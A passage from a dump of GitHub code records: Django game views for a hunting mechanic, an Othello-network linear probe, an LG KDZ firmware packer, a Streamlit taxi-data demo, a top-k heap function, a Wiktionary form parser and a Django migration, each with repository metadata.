request.method == 'POST':\n            animal_number = json.loads(request.body.decode('utf-8'))\n            hunt = Hunt.objects.filter(id=animal_number, player_id=request.user.active_player)\n\n            animal = hunt.select_related('animal')\\\n                .values_list('hit_chance', 'hits', 'animal__shots', 'animal__aggression', 'behaviour',\n                             'animal__meat', 'animal__leather', 'animal__feather', 'animal__scales', 'animal__venom')[0]\n\n            Hunt.objects.filter(player_id=request.user.active_player, behaviour=2).exclude(id=animal_number).delete()\n\n            status = 'miss'\n\n            player, hexa, situation_list, situation = entry(request)\n\n            if animal[0] >= random.randint(0, 100):\n                status = 'hit'\n                if int(animal[1])+1 >= animal[2]:\n                    hunt.update(behaviour=3)\n                    status = 'dead'\n                    pos = craft_box_range[1]+1+(hunt[0].slot*2)\n                    second = False\n                    for i in range(1, 6):\n                        if animal[i+4]:\n                            if second: pos += 1\n                            Inventory(player=player[0], pos=pos, consume_items_id=i, amount=animal[i+4]).save()\n                            second = True\n                else:\n                    run_chance = random.randint(0, 14)*10+random.randint(0, 10)\n                    if animal[4] != 1 and run_chance > animal[3]:\n                        hunt.update(behaviour=2, hits=F('hits') + 1)\n                    else:\n                        hunt.update(behaviour=1, hits=F('hits') + 1)\n            else:\n                if animal[4]:\n                    hunt.exclude(behaviour=1 or 3).delete()\n\n            animals = on_place(player, hexa, situation)\n\n            return JsonResponse([animals, status], safe=False)\n\n\ndef drag_and_drop(request):\n    if request.is_ajax():\n        if request.method == 'POST':\n            arr = json.loads(request.body.decode('utf-8'))\n            execute_query(\n                query=\"\"\"UPDATE inventory_inventory SET pos = %s\n                         WHERE player_id = %s AND id = %s\"\"\",\n                params=[arr[\"entNumber\"], request.user.active_player, arr[\"dragNumber\"]])\n\n            animals = []\n\n            if arr['initNumber'] > craft_box_range[1]:\n                animals = loot(request)\n\n            return JsonResponse(animals, safe=False)\n\n\ndef loot(request):\n    player, hexa, situation_list, situation = entry(request)\n    animals = on_place(player, hexa, situation)\n    inventory = Inventory.objects.filter(player=request.user.active_player, pos__gt=craft_box_range[1]).values_list('pos')\n\n    status = 'looting'\n\n    for dead in situation.filter(behaviour=3):\n        if dead.slot+craft_box_range[1] not in inventory:\n            status += ' | '+str(dead.slot)\n\n    return [animals, status]\n\n\ndef entry(request):\n    player = Player.objects.filter(pk=request.user.active_player)\n    hexa = player.select_related('pos') \\\n        .values_list('pos__grass', 'pos__wood', 'pos__hills', 'pos__mountains', 'pos__water', 'pos__town')[0]\n\n    print('grass %d, wood %d, hills %d, mountains %d, water %d' % (hexa[0], hexa[1], hexa[2], hexa[3], hexa[4]))\n\n    if not hexa[5]:\n        situation_instance = Hunt.objects.filter(player=request.user.active_player).select_related('animal')\n        situation = list(situation_instance.values_list('id', 'animal__name', 'hit_chance', 'behaviour', 'slot'))\n    else:\n        situation = None\n        situation_instance = None\n\n    return player, hexa, situation, situation_instance\n\n\ndef move(player, hexa, situation, leaving=False):\n    animals = []\n\n    attacking = situation.filter(behaviour=1).select_related('animal')\\\n        .values_list('id', 'animal__name', 'animal__size', 'hits', 'slot')\n\n    for attacker in attacking:\n        hit_chance = attacker[2] - random.randint(0, 30 - 12 * attacker[3])\n        animals.append([attacker[0], attacker[1], hit_chance, 1, attacker[4]])\n\n    if situation:\n        situation.exclude(behaviour=1).delete()\n\n    Inventory.objects.filter(player=player[0], pos__gt=craft_box_range[1]).delete()\n\n    status = ''\n\n    if not leaving:\n        for s in range(4):\n            if situation.filter(slot=s):\n                continue\n            animals, status = spawn_animal(animals, hexa, player, s)\n\n    return animals, status\n\n\ndef on_place(player, hexa, situation):\n    animals = []\n\n    no_idles = situation.exclude(behaviour=0).select_related('animal')\\\n        .values_list('id', 'animal__name', 'animal__size', 'hits', 'behaviour', 'slot')\n\n    for no_idle in no_idles:\n        hit_chance = no_idle[2] - random.randint(0, 30) + 12 * no_idle[3]\n        animals.append([no_idle[0], no_idle[1], hit_chance, no_idle[4], no_idle[5]])\n\n    if situation:\n        situation.filter(behaviour=0).delete()\n\n    startled = random.randint(1, 3)\n    print('startled %d' % startled)\n\n    for s in range(4):\n        if situation.filter(slot=s):\n            continue\n        if startled > 0:\n            startled -= 1\n            continue\n        animals = spawn_animal(animals, hexa, player, s)\n    return animals\n\n\ndef spawn_animal(animals, hexa, player, s):\n    aim = random.randint(0, 660)\n    biome = 0\n    status = ''\n    for i in range(5):\n        biome += hexa[i]\n        if aim < biome:\n            shot = random.randint(0, 100)\n            animal_instance = Animal.objects.filter(biome=i, presence__gte=shot).order_by('presence')\n            animal = animal_instance.values_list('id', 'name', 'aggression', 'shots', 'size').first()\n            if animal:\n                if animal[0] < 12:\n                    attack_chance = random.randint(0, 9) * 10 + random.randint(0, 10)\n                    behaviour = 1 if attack_chance <= animal[2] else 0\n                    hit_chance = animal[4] - random.randint(0, 18 if behaviour == 1 else 30)\n                else:\n                    behaviour = 3\n                    hit_chance = 0\n\n                    pos = craft_box_range[1] + 1 + s * 2\n                    Inventory(player=player[0], pos=pos, consume_items_id=7, amount=random.randint(1, 3)).save()\n                    status = 'items'\n\n                hunt = Hunt(player=player[0], animal=animal_instance[0], behaviour=behaviour,\n                            hit_chance=hit_chance, slot=s)\n                hunt.save()\n                animals.append([hunt.pk, animal[1], hit_chance, behaviour, s])\n            break\n    return animals, status\n\n\n\n","repo_name":"masekm/rnf2","sub_path":"recon/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"432985440","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport numpy as np\nfrom typing import List, Tuple\nfrom kfold import KFold\nfrom concept import mobility, mobility_diff, frontier, frontier_diff, steady, corner, corner_steady, steady_diff, corner_diff, score_f1, score\nfrom read_wth import read_wthor_files\nimport pandas as pd\nfrom player_color import BLACK, WHITE, EMPTY\nfrom device_detect import detectDevice\nfrom load_net import loadNetOutput\nfrom load_data import into_input_format_2, load_tensor\nimport time\nimport random\nfrom rewrite_print import print, print_acc\nimport warnings\nwarnings.filterwarnings(\"ignore\")  # 忽略UserWarning兼容性警告\n\n\nbatchSize = 128\n\n\nclass LinearModel(nn.Module):  # 定义线性模型g,用于c-con\n    def __init__(self, input_size):\n        super(LinearModel, self).__init__()\n        self.linear = nn.Linear(input_size, 1)\n\n    def forward(self, x: torch.Tensor):\n        x = x.view(x.size(0), -1)\n        y = self.linear(x)\n        return y.squeeze()\n\n\ndef batch_normalize(x, gamma=0.5, beta=0.5, eps=1e-5):\n    # N, D = x.shape\n    mean = np.mean(x)\n    var = np.var(x)\n    x_hat = (x - mean) / np.sqrt(var + eps)\n    out = gamma * x_hat + beta\n    return out\n\n\ndef loss_f1(pred: torch.Tensor, target: torch.Tensor, w, lamb, device: torch.device) -> torch.Tensor:\n    mse_loss = torch.mean((pred - target)**2)\n    # l2_loss = torch.norm(w)/pred.size(0)\n    l1_loss = torch.sum(torch.abs(w))/pred.size(0)\n    return mse_loss + lamb * l1_loss  # 返回的是平均loss\n\n\n# 定义训练函数\ndef train(model: LinearModel, X_train: torch.Tensor, y_train: torch.Tensor, lamb: float, device: torch.device, learning_rate, num_epochs=500):\n    optimizer = torch.optim.SGD(\n        model.parameters(), lr=learning_rate, momentum=0.9)\n    schduler = torch.optim.lr_scheduler.ReduceLROnPlateau(\n        optimizer, mode='min', patience=30, factor=0.7)\n\n    X_train = load_tensor(X_train.clone().detach(), batchSize)\n    y_train = load_tensor(y_train.reshape(-1), batchSize)\n\n    for epoch in range(num_epochs):\n        total_loss = 0\n        datasize = 0\n        for i in range(len(X_train)):\n\n            inputs = X_train[i]\n            targets = y_train[i]\n            datasize += targets.size(0)\n            optimizer.zero_grad()\n            outputs = model(inputs)\n\n            loss = loss_f1(outputs, targets, model.linear.weight, lamb, device)\n            total_loss += loss.item()*targets.size(0)\n            loss.backward()\n            optimizer.step()\n            schduler.step(loss)\n\n        if num_epochs > 500 and (epoch+1) % 500 == 0:\n            print('LR: {}, Epoch [{}/{}], Loss: {:.4f}'.format(\n                learning_rate, epoch + 1, num_epochs, total_loss/datasize))\n\n# 正则化参数通过交叉验证确定\n\n\ndef decide_lambda_lr(z_d: torch.Tensor, c_z: torch.Tensor, n_splits: int, device: torch.device, random_seed: int = 42):  # z_d为probe的输入，c_z为标签数据\n    kf = KFold(n_splits, shuffle=True, random_state=random_seed)\n    lamb_list = [0.01, 0.1, 1, 10]  # 网格化搜索之后发现lamb的影响很小，为节省时间干脆都定为10\n    lr_list = [1e-06, 1e-07, 1e-08, 1e-09]\n    best_loss_lamb = float('inf')\n    best_lamb = None\n    best_lamb_lr = None\n\n    for lamb in lamb_list:  # 决定了best_lamb及其下的best_loss和best_lr\n        best_lr = None\n        best_loss = float('inf')\n        for lr in lr_list:  # 决定了当前lamb下的best_loss和best_lr\n            total_loss = 0\n            datasize = 0\n            for k, index in enumerate(kf.split(z_d)):\n                train_index, val_index = index\n                X_train, X_val = z_d[train_index], z_d[val_index]\n                y_train, y_val = c_z[train_index], c_z[val_index]\n                # 定义模型并训练\n                input_size = z_d.shape[1]*z_d.shape[2]*z_d.shape[3]\n                linear_model = LinearModel(input_size)\n                linear_model = linear_model.to(device)\n                # print(f'-------------The {k+1}/{n_splits} th training------------')\n                train(linear_model, X_train.reshape(-1, input_size),\n                      y_train.reshape(-1, 1), lamb, device, learning_rate=lr, num_epochs=500)\n\n                # 验证\n                inputs = load_tensor(X_val)\n                targets = torch.tensor(y_val, device=device)\n                batch_output = linear_model(inputs[0])\n                for i in range(1, len(inputs)):\n                    batch_output = torch.cat(\n                        [batch_output, linear_model(inputs[i])], dim=0)\n\n                loss = loss_f1(batch_output, targets,\n                               linear_model.linear.weight, lamb, device)\n                total_loss += loss.item()*targets.size(0)\n                datasize += targets.size(0)\n\n            avg_loss = total_loss / datasize\n\n            if avg_loss < best_loss:\n                best_loss = avg_loss\n                best_lr = lr\n\n        print(f\"lambda: {lamb}, best lr: {best_lr}, best loss: {best_loss}\")\n\n        if best_loss < best_loss_lamb:\n            best_loss_lamb = best_loss\n            best_lamb = lamb\n            best_lamb_lr = best_lr\n\n    print(\n        f\"best lambda: {best_lamb}, best lr: {best_lamb_lr}, best loss: {best_loss_lamb}\")\n    return best_lamb, best_lamb_lr\n\n\ndef concept_probe(concept_name: str, train_val_data: pd.DataFrame, train_zd: torch.Tensor, device: torch.device, num_epochs: int = 1000):\n    y_train = []\n    for i in range(len(train_val_data)):\n        board = train_val_data.iloc[i, :]\n        c_z = concept_name(board, BLACK)\n        y_train.append(c_z)\n\n    y_train = torch.tensor(y_train, device=device)\n\n    best_lamb, best_lr = decide_lambda_lr(train_zd, y_train, 3, device)\n    input_size = train_zd.shape[1]*train_zd.shape[2]*train_zd.shape[3]\n\n    linear_model = LinearModel(input_size)\n    linear_model = linear_model.to(device)\n    train(linear_model, train_zd.reshape(-1, input_size),\n          y_train.reshape(-1, 1), best_lamb, device, best_lr, num_epochs)\n    return linear_model\n\n\ndef r2_score_0(y_test, X_test):\n    SStot = np.sum((y_test-np.mean(y_test))**2)\n    SSres = np.sum((y_test-X_test)**2)\n    r2 = 1-SSres/SStot\n    return r2\n\n\ndef r2_score(y_test, X_test):\n    r = np.corrcoef(X_test, y_test)[0, 1]\n    return r**2\n\n\ndef test_accuracy(concept_name: str, model: LinearModel, test_data: pd.DataFrame, test_zd: torch.Tensor):\n    y_test = []\n    for i in range(len(test_data)):\n        board = test_data.iloc[i, :]\n        c_z = concept_name(board, BLACK)\n        y_test.append(c_z)\n\n    test_zd = load_tensor(test_zd)\n    X_test = model(test_zd[0])\n    for i in range(1, len(test_zd)):\n        X_test = torch.cat([X_test, model(test_zd[i])], dim=0)\n\n    r_squared = r2_score(np.array(y_test), np.array(X_test.tolist()))\n    r_squared_0 = r2_score_0(np.array(y_test), np.array(X_test.tolist()))\n    print(f\"r^2: {r_squared}, r^2_0: {r_squared_0}\")\n    print(\"---------------------------------------------------------------\\n\")\n    return r_squared, r_squared_0\n\n\n# 这个部分只算一次，之后从结果中拿取即可\ndef zdlist(device: torch.device, epoch_list: List[int], trainset, testset):\n    all_trainzd_list = []\n    all_testzd_list = []\n    for training_step in epoch_list:\n        train_z_d_list = loadNetOutput(\n            training_step, into_input_format_2(trainset), device)\n        test_z_d_list = loadNetOutput(\n            training_step, into_input_format_2(testset), device)\n        all_trainzd_list.append(train_z_d_list)\n        all_testzd_list.append(test_z_d_list)\n    return all_trainzd_list, all_testzd_list  # list的长度就等于epoch_list的长度\n\n\ndef compute_results(device: torch.device, training_step, concept, trainset, testset, train_z_d_list, test_z_d_list, layer_num=15):\n    accuracy_layer = []\n    accuracy_layer_0 = []\n\n    for layer in range(layer_num):\n        print(\n            f\"---------NN training epoch: {training_step}, Layer num: {layer+1}/15---------\")\n        linear_model = concept_probe(\n            concept, trainset, train_z_d_list[layer], device)\n        accuracy, accuracy_0 = test_accuracy(\n            concept, linear_model, testset, test_z_d_list[layer])\n\n        accuracy_layer.append(accuracy)  # 记录当前training_step下遍历各layers的accuracy\n        accuracy_layer_0.append(accuracy_0)\n\n    return accuracy_layer, accuracy_layer_0\n\n\nif __name__ == '__main__':\n\n    globalDevice = detectDevice()\n    BLACK = -1\n\n    file_list = range(2000, 2022)  # 代表数据年份，可选：range(1977,2024)\n    epoch_list = range(1, 58)  # 代表神经网络训练代数，可选：range(1,58)\n    concept_list = [frontier, steady, corner, mobility, frontier_diff,\n                    score_f1, score, steady_diff,  corner_diff, mobility_diff]\n\n    paths = ['./gamedata/WTH_' + str(i)+'.wtb' for i in file_list]\n    trainset, testset = read_wthor_files(paths)\n\n    all_trainzd_list, all_testzd_list = zdlist(\n        globalDevice, epoch_list, trainset, testset)\n\n    for concept in concept_list:\n        print(\n            f'Current time: {time.strftime(\"%Y-%m-%d %H:%M:%S\",time.localtime())}')\n        print(\n            f'Use datasets in years: {file_list[0]}~{file_list[-1]}. Size of trainset: {len(trainset)}')\n        print(f'Concept: {str(concept.__name__)}\\n')\n\n        accuracy_step, accuracy_step_0 = [], []\n        for training_step in epoch_list:\n            train_z_d_list = all_trainzd_list[training_step]\n            test_z_d_list = all_testzd_list[training_step]\n            accuracy_layer, accuracy_layer_0 = compute_results(\n                globalDevice, training_step, concept, trainset, testset, train_z_d_list, test_z_d_list)\n            accuracy_step.append(accuracy_layer)\n            accuracy_step_0.append(accuracy_layer_0)\n\n        print_acc(f\"concept: {str(concept.__name__)}\")\n        print_acc(f\"accuracy_step: {accuracy_step}\")\n        print_acc(f\"accuracy_step_0: {accuracy_step_0}\")\n        print_acc(\n            '---------------------------------------------------------------\\n')\n","repo_name":"ObRosen/Acquisition","sub_path":"linear_probe.py","file_name":"linear_probe.py","file_ext":"py","file_size_in_byte":10065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34401716254","text":"from __future__ import print_function\nimport os\nimport sys\nimport argparse\n\n# our tools are in \"libexec\"\nsys.path.append(os.path.join(sys.path[0], \"libexec\"))\n\nimport kdz\n\n\nclass KDZFileTools(kdz.KDZFile):\n\t\"\"\"\n\tLGE KDZ File creation tool\n\t\"\"\"\n\n\tindir = \"kdzextracted\"\n\n#kdz.KDZFile._dz_header\n\n\n\tdef loadParams(self):\n\t\t\"\"\"\n\t\tLoads the .kdz.params file for output, saves the values\n\t\t\"\"\"\n\n\t\tparams = dict()\n\t\tfile = open(os.path.join(self.indir, \".kdz.params\"), \"rt\")\n\t\tline = file.readline()\n\t\twhile len(line) > 0:\n\t\t\tline.lstrip()\n\t\t\tline = line.partition(\"#\")[0]\n\t\t\tif len(line) == 0:\n\t\t\t\tline = file.readline()\n\t\t\t\tcontinue\n\t\t\tparts = line.partition(\"=\")\n\t\t\tif len(parts[1]) == 0:\n\t\t\t\tprint(\"[!] Bad line in {:s}'s parameter file\".format(self.indir), file=sys.stderr)\n\t\t\tvar = parts[0].rstrip()\n\t\t\ttry:\n\t\t\t\tval = int(parts[2].strip())\n\t\t\texcept ValueError:\n\t\t\t\tval = parts[2].strip()\n\t\t\tparams[var] = val\n\t\t\tline = file.readline()\n\n\t\tfile.close()\n\n\t\tfor k in 'version', 'dataStart', 'payload0', 'payload0head':\n\t\t\tif k not in params:\n\t\t\t\tprint(\"Parameter value \\\"{:s}\\\" is missing, unable to continue\".format(k))\n\t\t\t\tsys.exit(1)\n\n\t\tif params['version'] != 2:\n\t\t\tprint(\"[!] File format version not 2, cannot continue\", file=sys.stderr)\n\t\t\tsys.exit(1)\n\n\t\tself.dataStart = params['dataStart']\n\n\t\ti = 0\n\t\tself.headers = []\n\t\theaders = {}\n\t\tself.payload = []\n\t\tself.files = {}\n\t\tname = \"payload\"+str(i)\n\t\twhile name in params:\n\t\t\tself.payload.append(params[name])\n\t\t\theaders[params[name+\"head\"]] = params[name]\n\t\t\ti += 1\n\t\t\tname = \"payload\"+str(i)\n\t\tfor i in range(i):\n\t\t\tself.headers.append(headers[i])\n\n\tdef cmdCreateFile(self):\n\t\t\"\"\"\n\t\tCreate the specified KDZ file\n\t\t\"\"\"\n\n\t\tout = open(self.kdzfile, \"wb\")\n\t\tcurrent = self.dataStart\n\t\tout.seek(current, os.SEEK_SET)\n\n\t\tfor name in self.payload:\n\t\t\tprint(\"[+] Writing {:s} to output file {:s}\".format(name, self.kdzfile))\n\t\t\tinf = open(os.path.join(self.indir, name), \"rb\")\n\t\t\tbuf = \" \"\n\t\t\twhile len(buf) > 0:\n\t\t\t\tbuf = inf.read(4096)\n\t\t\t\tout.write(buf)\n\t\t\tself.files[name] = [current, out.tell() - current]\n\t\t\tinf.close()\n\t\t\tcurrent = out.tell()\n\n\t\tself.files[self.headers[-1]].append(0)\n\n\t\tprint(\"\\n[+] Writing headers to {:s}\".format(self.kdzfile))\n\n\t\tout.seek(0, os.SEEK_SET)\n\t\tout.write(self._dz_header)\n\t\tfor name in self.headers:\n\t\t\t# last record\n\t\t\tif len(self.files[name]) > 2:\n\t\t\t\tout.write(b'\\x03')\n\t\t\thead = {\n\t\t\t\t'name':\t\tname.encode(\"utf8\"),\n\t\t\t\t'length':\tself.files[name][1],\n\t\t\t\t'offset': \tself.files[name][0],\n\t\t\t}\n\t\t\tbuf = self.packdict(head)\n\t\t\tout.write(buf)\n\t\tout.close()\n\t\tprint(\"[+] Done!\")\n\n\tdef cmdList(self):\n\t\tpass\n\n\n\tdef parseArgs(self):\n\t\t# Parse arguments\n\t\tparser = argparse.ArgumentParser(description='LG KDZ File creator by Elliott Mitchell')\n\t\tparser.add_argument('-f', '--file', help='KDZ File to read', action='store', required=True, dest='kdzfile')\n\t\tgroup = parser.add_mutually_exclusive_group(required=True)\n\t\tgroup.add_argument('-l', '--list', help='list partitions', action='store_true', dest='listOnly')\n\t\tgroup.add_argument('-m', '--make', help='extract all partitions', action='store_true', dest='createFile')\n\t\tparser.add_argument('-d', '--dir', help='input directory', action='store', dest='indir')\n\n\t\treturn parser.parse_args()\n\n\tdef main(self):\n\t\targs = self.parseArgs()\n\t\tself.kdzfile = args.kdzfile\n\n\t\tif args.indir:\n\t\t\tself.indir = args.indir\n\n\t\tself.loadParams()\n\n\t\tif args.listOnly:\n\t\t\tself.cmdList()\n\n\t\telif args.createFile:\n\t\t\tself.cmdCreateFile()\n\nif __name__ == \"__main__\":\n\tkdztools = KDZFileTools()\n\tkdztools.main()\n\n","repo_name":"ehem/kdztools","sub_path":"mkkdz.py","file_name":"mkkdz.py","file_ext":"py","file_size_in_byte":3528,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"18"}
{"seq_id":"22243107239","text":"import streamlit as st\nimport pandas as pd\nimport pyarrow.parquet as pq\n\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.metrics import mean_absolute_error, mean_squared_error, r2_score\n\nheader         = st.container()\ndataset        = st.container()\nfeatures       = st.container()\nmodel_training = st.container()\n\nst.markdown(\n    \"\"\"\n    <style>\n    .main {\n    background-color: #F5F5F5;\n    }\n    </style>\n    \"\"\",\n    unsafe_allow_html=True\n)\n\n@st.cache_data\ndef get_data(filename):\n    taxi_data = pq.read_table(filename)\n    taxi_data = taxi_data.to_pandas()\n    return taxi_data\n\nwith header:\n    st.title('Welcome to my awesome data science project!')\n\nwith dataset:\n    st.header('NYC taxi dataset')\n    st.text(\"I found this dataset at: https://www.nyc.gov/site/tlc/about/tlc-trip-record-data.page\")\n\n\n    taxi_data = get_data('Data/taxi_data.parquet')\n    taxi_data = taxi_data.head(100000)\n    st.write(taxi_data.head())\n\n    st.subheader('Pick-up location ID distribution on the NYC dataset')\n    pulocation_dist = pd.DataFrame(taxi_data['PULocationID'].value_counts()).head(50)\n    st.bar_chart(pulocation_dist)\n    \n\nwith features:\n    st.header('The features I created')\n\n    st.markdown('* **first feature:** I created this feature because of this... I calculated it using this log...')\n    st.markdown('* **second feature:** I created this feature because of this... I calculated it using this log...')\n\nwith model_training:\n    st.header('Time to train the model!')\n    st.text(\"Here you get to choose the hyperparameters of the model and see how the performance changes.\")\n\n    sel_col, disp_col = st.columns(2)\n\n    max_depth = sel_col.slider('Whats should the max_depth of the model be?', min_value=10, max_value=100, value=20, step=10)\n\n    n_estimators = sel_col.selectbox('How many trees should there be?', options=[100,200,300,'No limit'], index=0)\n\n\n    input_feature = sel_col.selectbox('Which feature should be used as the input feature', taxi_data.keys())\n\n    if n_estimators == 'No limit':\n        regr = RandomForestRegressor(max_depth=max_depth)\n    else:\n        regr = RandomForestRegressor(max_depth=max_depth, n_estimators=n_estimators)\n\n    x = taxi_data[[input_feature]].values\n    y = taxi_data[['trip_distance']].values\n\n    regr.fit(x,y)\n    prediction = regr.predict(y)\n\n    disp_col.subheader('Mean absolute error of the model is: ')\n    disp_col.write(mean_absolute_error(y, prediction))\n\n    disp_col.subheader('Mean squared error of the model is:')\n    disp_col.write(mean_squared_error(y, prediction))\n\n    disp_col.subheader('R squared score of the model is:')\n    disp_col.write(r2_score(y, prediction))","repo_name":"devoncallan/streamlit_tutorial","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"16049116005","text":"import heapq\n\ndef topk(a,k):\n    result = []\n\n    for i in range(0,k):\n        heapq.heappush(result, a[i])\n    \n\n    for i in range(k, len(a)):\n        if a[i] > result[0]:\n            heapq.heappop(result)\n            heapq.heappush(result, a[i])\n    \n    return result\n\nif __name__ == \"__main__\":\n    #a = [1,3,2,6,-1,4,1,8,2]\n\n    a = [3,1,5,12,2,11]\n    k = 3\n    #k=5\n    result = topk(a,k)\n\n    print(result)\n","repo_name":"dhruvagarwal29/Leetcode-Prep-Jan_2023","sub_path":"top_k_elements/top_k_elements.py","file_name":"top_k_elements.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"10877120258","text":"from lxml import etree\nimport unicodedata\nfrom pathlib import Path\nfrom progressbar import progressbar\nimport json\n\nconfig = json.load(open(\"../conf/config.json\"))\n\ndownload_dir = Path(\"../build/download\")\nparsed_dir = Path(\"../build/parsed\")\nnormalize_char_map = {'ё':'е', 'Ё':'Е'}\nvowels = 'аэыуояеёюи'\n\ndef normalize_string(s):\n   norms = unicodedata.normalize('NFC', s)\n   noacc =        [c\n                  for c in norms\n                  if unicodedata.category(c) != 'Mn' #'Mark, Nonspacing' = accents\n                  and (\n                      not unicodedata.category(c).startswith('P') #Punctuation\n                      or c == '-'\n                  )]\n   normalized = ''.join(normalize_char_map[c] if c in normalize_char_map else c\n                  for c in noacc).lower()\n   stress=None\n   if vowel_count(normalized) > 1:\n       for p, c in enumerate(norms):\n           if unicodedata.category(c) == 'Mn':  # 'Mark, Nonspacing' = accents\n               stress = p\n               break\n\n   return tuple([normalized, stress, ''.join(noacc)])\n\ndef add_norm(forms, html, xpath, optional_prefix=None, prefix_norm=None):\n    matches = html.xpath(xpath)\n    for match in matches:\n        match_text = match.xpath(\"string(.)\")\n\n        #Cell may contain multiple forms, e.g. свой -> свое́й, свое́ю (https://en.wiktionary.org/wiki/%D1%81%D0%B2%D0%BE%D0%B9)\n        for match_form in match_text.split(\", \"):\n\n            # Add comparative with and without comparative suffix, e.g. попроще and проще\n            if optional_prefix and match_form.startswith(optional_prefix):\n                suffix = match_form[len(optional_prefix):]\n                forms.add(normalize_string(prefix_norm + suffix))\n                forms.add(normalize_string(suffix))\n            else:\n                forms.add(normalize_string(match_form))\n\ndef vowel_count(txt):\n    count = 0\n    txt = txt.lower()\n    for vowel in vowels:\n        count = count + txt.count(vowel)\n    return count\n\ndef parse_file(f, src_lang, destdir):\n\n    pageJson=json.load(open(str(f)))\n    of=pageJson['html']\n    title = pageJson['title']\n    html = etree.fromstring(of)\n\n    for target_lang, langpair in config[\"langpairs\"][src_lang].items():\n        lang_name = langpair[\"lang_span_name\"]\n        langs = html.xpath(\"//h2/span[text()='%s' and contains(@class,'mw-headline')]\" % lang_name)\n        if not langs: #does not work for Serbo-Croatian\n            continue\n        forms = set()\n\n        span_selector = \"//*[preceding-sibling::h2[1]/span[text()='%s']]\" % lang_name\n        td_selector_template = \"%s//table[contains(@class,'inflection-table')]/%s/tr/td//span[@lang='%s']\"\n        for tbody_selector in ['tbody', '.']:\n            td_selector = td_selector_template % (span_selector, tbody_selector, target_lang)\n            add_norm(forms, html, td_selector)\n        add_norm(forms, html, \"%s//strong[contains(@class,'headword') and @lang='%s']\" % (span_selector, target_lang))\n\n        # Parse comparative. NB тёплый has two variants\n        comp_select = \"//b[@lang='%s' and preceding-sibling::*[name()='i' and text()='comparative']]\" % target_lang\n        add_norm(forms, html, comp_select, \"(по)\", \"по\")\n\n        dir = Path(destdir, target_lang)\n        dir.mkdir(parents=True, exist_ok=True)\n        file = Path(dir, Path(f).with_suffix('.dat').name)\n        s = ''.join([\"%s\\t%s\\t%s\\t%s\\n\" % (form[0], title, form[1] if form[1] else 0, form[2]) for form in forms])\n        file.write_text(s, encoding='utf8')\n\n        marker.write_bytes(b'')\n\n\nfor src_lang, targets in config[\"langpairs\"].items():\n    lang_dir = Path(download_dir, src_lang)\n\n    destdir = Path(parsed_dir, src_lang)\n    marker_dir = Path(destdir, \"_done\")\n    marker_dir.mkdir(parents=True, exist_ok=True)\n\n    print(\"Source language: [%s]\" % src_lang)\n    print(\"Listing files...\")\n    files = sorted(lang_dir.glob(\"*.json\"))\n\n    new_pages = 0\n\n    print(\"Parsing files...\")\n    for f in progressbar(files):\n\n        marker = Path(marker_dir, Path(f).name)\n        if marker.is_file():\n            continue\n\n        new_pages = new_pages + 1\n\n        parse_file(f, src_lang, destdir)\n\n    print(\"Parsed %d new pages out of %d total pages.\" % (new_pages, len(files)))\n\n","repo_name":"algattik/SlavaTranslator","sub_path":"scripts/parse-pages.py","file_name":"parse-pages.py","file_ext":"py","file_size_in_byte":4276,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"}
{"seq_id":"23412655380","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport datetime\nfrom django.utils.timezone import utc\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('bar', '0031_auto_20151210_1746'),\n        ('personal', '0051_auto_20151210_1657'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='EmpleadoTelefono',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('telefono', models.IntegerField(help_text=b'Ingrese el telefono fijo o movil del cliente. El dato debe contener solo numeros.')),\n                ('codigo_ciudad_operadora_telefono', models.ForeignKey(default=21, to='bar.CodigoCiudadOperadoraTelefono')),\n                ('codigo_pais_telefono', models.ForeignKey(default=595, to='bar.CodigoPaisTelefono')),\n            ],\n        ),\n        migrations.RemoveField(\n            model_name='empleado',\n            name='telefono',\n        ),\n        migrations.RemoveField(\n            model_name='empleado',\n            name='telefono_movil',\n        ),\n        migrations.AddField(\n            model_name='empleado',\n            name='sexo',\n            field=models.CharField(default=b'F', max_length=1, choices=[(b'F', b'Femenino'), (b'M', b'Masculino')]),\n        ),\n        migrations.AlterField(\n            model_name='empleado',\n            name='fecha_nacimiento',\n            field=models.DateField(default=datetime.datetime(2015, 12, 10, 20, 46, 43, 529000, tzinfo=utc)),\n        ),\n        migrations.AlterField(\n            model_name='horario',\n            name='horario_fin',\n            field=models.TimeField(default=datetime.datetime(2015, 12, 10, 20, 46, 43, 539000, tzinfo=utc)),\n        ),\n        migrations.AlterField(\n            model_name='horario',\n            name='horario_inicio',\n            field=models.TimeField(default=datetime.datetime(2015, 12, 10, 20, 46, 43, 538000, tzinfo=utc)),\n        ),\n        migrations.AddField(\n            model_name='empleadotelefono',\n            name='empleado',\n            field=models.ForeignKey(to='personal.Empleado'),\n        ),\n    ]\n","repo_name":"pmmrpy/SIGB","sub_path":"personal/migrations/0052_auto_20151210_1746.py","file_name":"0052_auto_20151210_1746.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
